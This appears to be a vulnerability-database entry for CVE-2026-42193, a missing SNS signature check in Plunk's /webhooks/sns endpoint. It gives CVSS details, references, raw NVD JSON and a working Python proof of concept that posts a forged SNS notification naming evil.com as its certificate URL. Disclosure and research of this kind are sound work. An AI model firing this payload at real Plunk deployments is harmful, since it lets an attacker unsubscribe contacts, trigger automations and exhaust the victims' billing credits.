CVE-2026-42193

Description

Plunk is an open-source email platform built on top of AWS SES. Prior to version 0.9.0, the /webhooks/sns endpoint accepts Amazon SNS notification payloads from unauthenticated requests without verifying the SNS signature, certificate, or topic ARN, meaning anyone can forge a valid-looking webhook request. This allows an unauthenticated attacker to spoof SNS events to trigger workflow automations, unsubscribe contacts, manipulate email delivery metrics, and potentially exhaust billing credits. This issue has been patched in version 0.9.0.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Plunk < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# CVE-2026-42193 PoC Generator for Plunk SNS Signature Bypass
# Target: Plunk < v0.9.0

def exploit_sns_spoof(target_url):
    # The application does not verify Signature, SigningCertURL, or TopicARN
    # Attackers can craft a malicious SNS notification payload.
    
    sns_payload = {
        "Type": "Notification",
        "MessageId": "spoofed-id-12345",
        "TopicArn": "arn:aws:sns:us-east-1:123456789012:FakeTopic",
        "Subject": "Malicious SNS Event",
        "Message": "This payload is not signed by AWS, but Plunk accepts it.",
        "Timestamp": "2026-05-08T22:16:31Z",
        "SignatureVersion": "1",
        "Signature": "ThisValueIsIgnoredByVulnerableApp",
        "SigningCertURL": "http://evil.com/cert.pem"
    }

    headers = {
        "Content-Type": "application/json",
        "User-Agent": "CVE-2026-42193-Scanner"
    }

    try:
        print(f"[*] Sending spoofed SNS request to {target_url}/webhooks/sns")
        response = requests.post(
            f"{target_url}/webhooks/sns",
            data=json.dumps(sns_payload),
            headers=headers,
            timeout=10
        )
        
        if response.status_code == 200:
            print("[+] Exploit successful! Server accepted the unverified payload.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Server returned status code: {response.status_code}")
            
    except Exception as e:
        print(f"[!] Error during exploit: {e}")

if __name__ == "__main__":
    target = "http://localhost:3000" # Replace with actual target
    exploit_sns_spoof(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42193
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42193
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42193/
[4] VulDB https://vuldb.com/cve/CVE-2026-42193
[5] https://github.com/useplunk/plunk/releases/tag/v0.9.0
[6] https://github.com/useplunk/plunk/security/advisories/GHSA-9792-w86v-gx53

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42193", "sourceIdentifier": "[email protected]", "published": "2026-05-08T22:16:31.273", "lastModified": "2026-05-08T22:16:31.273", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plunk is an open-source email platform built on top of AWS SES. Prior to version 0.9.0, the /webhooks/sns endpoint accepts Amazon SNS notification payloads from unauthenticated requests without verifying the SNS signature, certificate, or topic ARN, meaning anyone can forge a valid-looking webhook request. This allows an unauthenticated attacker to spoof SNS events to trigger workflow automations, unsubscribe contacts, manipulate email delivery metrics, and potentially exhaust billing credits. This issue has been patched in version 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "references": [{"url": "https://github.com/useplunk/plunk/releases/tag/v0.9.0", "source": "[email protected]"}, {"url": "https://github.com/useplunk/plunk/security/advisories/GHSA-9792-w86v-gx53", "source": "[email protected]"}]}}